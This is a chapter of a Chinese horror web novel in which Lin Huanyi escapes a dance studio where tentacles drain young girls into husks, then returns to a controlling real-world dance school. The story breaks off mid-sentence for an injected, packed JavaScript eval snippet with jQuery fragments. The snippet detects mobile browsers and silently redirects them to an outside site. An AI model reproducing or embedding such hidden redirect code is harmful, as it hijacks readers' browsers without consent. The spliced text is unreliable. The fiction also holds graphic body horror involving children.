触手上的圆形吸盘一放一缩,吮吸着小女孩羸弱的身躯。小女孩身体快要被吞没,只有一个头露出漩涡中心。
白皙的脸庞变成紫红,丰盈的蛋白质被抽走,只剩一层紫褐色的皮附在头骨上。深红的触手还在蠕动,小女孩仿佛变成了一块干枯的树干。
不止她一个。
七八根触手拔地而起,张牙舞爪席卷了这间舞蹈室。
没有人会觉得奇怪,她们仍旧舞动着,脸上的表情极度贴合慷慨激昂的爵士乐。
林欢宜也不例外,学着前面人的节奏,复刻着舞蹈老师的动作,尽管跳舞的时候如钢板般僵硬。
她还不忘在背对舞蹈老师时,买了把刀塞进仓库。
舞蹈老师领着一群孩子舞起双手、面带笑意,整个场景宛若一场合格的祭祀活动。
抽完脂的触手从小女孩们的身上离开,在地板上涌动,绕在完好的人身边,时刻盯着她们的动作。
被祸害的小女孩脱离了触手,并没有意识到自己身上的异样,继续跟着跳舞,嘴上念念叨叨。
“我怎么能停下呢,不该这样的,老师不要罚我。”
“我可以跟上的,这个动作我也能做到。”
“老师,老师,我错了。不要!”
“好疼啊,我不要拉筋了,我不想学。”
“对不起,对不起,我会好好学的,不会浪费学费。”
“我想回家,我要回家。”
“不,我不要回家,我不要回去。”
稚气的童声在舞蹈室里回荡,仿若一只只怨鬼,诉说着她们生前的痛苦。
生者闭口不谈,死者喋喋不休。无人在意她们的痛苦,活着的人只想听见舞曲。
唇红齿白的小孩变成了干尸,越来越多的触手绕着林欢宜打转。
不行,这样下去不行。林欢宜绷着脸,悄摸靠近舞蹈老师。
最后一个NPC小女孩也被抓住,舞蹈室的活人只剩林欢宜和舞蹈老师。
以林欢宜为圆心的两米范围外,触手你争我抢地把头挤过来。
它们黏在无形的屏障上,一层层垒着,严严实实挡住了林欢宜的视线。
哭嚎的声音彻底盖住了舞曲,干枯的小孩举起双手,舞蹈室变成了人间炼狱。
林欢宜停下了动作,冲向舞蹈老师。
前方的触手节节避让,后面的触手又黏了上来,活脱脱一个空心的移动树干。
“啊,还有个人啊。你跳得太糟糕了,你每个动作都跟上了,但其实一点都不会跳。跳得差的孩子就要受到惩罚。”舞蹈老师兴奋的声音从林欢宜身后传来。
林欢宜迅速调整方向跑过去,一刀砍向触手。
触手齐刷刷后退两米,后面的触手迅速补空。
舞蹈老师面容扭曲,说话的时候还不忘继续舞蹈:“你居然私藏了刀,真是不听话。不跳舞就去死!”
“你很喜欢跳舞啊!你跳错了会发生什么呢?我真的很好奇啊。老师,你应该为我解惑。”林欢宜歪了歪头,扑向舞蹈老师,推了她一把。
舞蹈老师纹丝不动,借着一个踢腿动作踹向林欢宜,触手们疯狂让出一条快踢通道。
“废物,学不会跳舞就去死!”
林欢宜皱眉,急退两步避开,开启0元购模式再次撞过去。
舞蹈老师被撞得一个踉跄,神色惶恐,手忙脚乱续上她的跳舞。
小女孩们动作停住,歪了歪头,嘴里絮絮叨叨,好奇地围着舞蹈老师。
“哎呀,老师怎么跳错了。”
“真的假的,老师跳错了!我也要看,我也要看!”
“胡说,老师怎么会跳错。”
“老师不是说闭着眼也能跳对吗?”
“跳错了就该罚,老师也不能例外呢。”
“老师不会是不会跳舞吧,不会跳舞就得死哦。”
她们挤开了层层包裹着林欢宜的触手,贴近舞蹈老师,一脸期待地蹲下,或半蹲,头贴着头,一层层的堆叠起来。
枯朽的皮囊里,只有眼珠子是完好的。水润的眼珠子咕噜噜地盯着舞蹈老师,上上下下,左左右右。
绕着林欢宜的触手被逼退了大半,但它们离林欢宜更近了,圆圈的范围在不断缩小。
“滚,都给我滚去跳舞。”
“没有人可以不跳舞,你们都得死!”
舞蹈老师眼球里全是血丝,崩溃大喊。她甩出的力道越来越大,势必将每个动作都做到极致。
拦着她跳舞应该是有用的,但自己不跳的时间更长,也会出事。
林欢宜眼珠子一转,计上心头,丢下舞蹈老师扭头就跑。舞蹈老师看着她的动作,眉头直跳,边跳着舞边凑近林欢宜。
林欢宜抱起音响,手指一通扭按,舞曲疯狂变幻,时不时快进几秒。
舞蹈老师试着跟跳几下,手忙脚乱,一脸怨恨地瞪着林欢宜。
“跳错了跳错了。”
“跳错了就要接受惩罚哦。”
小女孩们拍着手,蹦蹦跳跳地围着舞蹈老师打转。
舞蹈老师冲着林欢宜扑来。小女孩们也像触手似的避开,躲不开的还摔了个屁股墩。
林欢宜抱着音箱侧身跑开。
练功杆狠狠磕着舞蹈老师的腰,她顾不上疼痛,快步跑向林欢宜,怒吼道:“把音箱给我。”
开了0元购模式的林欢宜异常嚣张,肆无忌惮地跑来跑去,甚至故意在小女孩堆里穿梭。
舞蹈老师张牙舞爪地追起来。小女孩觉得好玩似地挡一挡她的去路,然后又被迫让道。
触手也发了狂般齐齐蔓延,堵死林欢宜的去路,它们贪婪地绕着林欢宜,一寸一寸贴近。
“把音箱给我,我放你出去。”
舞蹈老师和触手一齐扑来,中间还夹杂着好几个小女孩。
“你还有最后一分钟,你就得死!快把音箱给我——”
林欢宜抱着音箱不撒手,埋头往前跑:“我最后一分钟,你着什么急啊。”
嗷嗷待哺的触手终于摸到了它的猎物,它们游蛇般缠住林欢宜的脚踝、手腕,黏稠的触感在她的脚踝上挥之不去。
音箱摔在了地上,林欢宜任由触手包裹她的身体。
舞蹈老师一个滑跪抱住音箱,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579020|202355||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抬头笑了起来:“笨蛋,是半分钟呢。”
“你可以与我共舞吗?”
“什……什么?”舞蹈老师惊愕地看向林欢宜,刚抬手想关闭音箱,手脚却不受控制地动了起来。
音箱砰地一声砸在地上,黑色的外壳脱出,音质嘶哑。
“音箱对你一定有特别的意义吧。”林欢宜强忍着胃里恶心,捏着滑腻触手舞了起来。
虽然林欢宜只拉着一个触手,但其他触手也往同一方向动了起来。
舞蹈老师被迫虚空跳舞,眼神死死盯着林欢宜:“无谓的挣扎!你必死无疑!”
“是吗?”林欢宜勾唇浅笑,瞄着人少的空隙,一脚踢向那部音箱,脚上却无任何感觉,“哎呀,真不好意思呢,硌得人家脚疼。
微瑕音箱飞出,打着圈旋去,小女孩们急忙躲闪,嘴里不停抱怨。
“哎呀,这谁乱丢东西。”
“没有礼貌的家伙,我要向你爸爸妈妈告状。”
……
黑色的音箱拍在墙上,顿时支离破碎。
触手、舞蹈老师、小女孩统统消失不见,林欢宜出现在楼道里。
她抬头看着那个鲜艳的红色数字——5,低头看眼自己身上的紧身吊带裙。
总算是回来了!林欢宜狠狠松了口气,拉开门往外走。
一整排玻璃隔开了一道走廊,约莫有三四间舞蹈室,穿着性感的小姑娘在老师的教学下学着各种高难度的动作。
“你走楼梯干什么?要不要命了?”握着手机的小张大汗淋漓,急得差点嘴上长泡。
林欢宜心中疑惑,低下头,握着项链:“对不起,我不是故意走楼梯的。”
电话传来了极大的响声:“小张,你把电话给她。”
小张脸色极差,将手机递给林欢宜,扭头走到一边。
“跟你说过多少次,不要走楼梯,不要走楼梯,你都当耳旁风是吗?你要是不想干就直说,别耽误我找下一个人选。”
林欢宜红了眼眶,吸了吸鼻子:“对不起,琳姐,不会再有下次了。不要……不要赶我走。”
“行了行了,人没事就行。”电话挂断,只剩下嘟嘟嘟的忙音。
林欢宜松开项链,将手机还给小张,警惕地扫眼小张,低下头小心翼翼地问:“我还要继续跳舞吗?”
小张将手机放回兜里,叹气:“你好好听琳姐的话,日后会有好日子过的。”
“怎么这么晚才来,这都快下课了。”舞蹈室里走出了一个老师,她拧眉,不悦地上下打量林欢宜。
“旷课的今晚不能吃饭,这是规矩。”说完,她扭头走回去。
小张推了推林欢宜的肩膀:“走吧,回去吧,今晚得挨饿了。”
林欢宜坠在小张身后,不错眼地观察小张的动作,心里不断盘算。
之前小张带自己走楼梯是故意的吗?她的目的是什么?
尽管自己那个时候看不见,但走楼梯和坐电梯的区别不大,不会暴露了吧?妞妞是个什么性格,还没摸清楚呢。
“走这么慢干什么,快点。”小张不耐烦地按着电梯,催促道。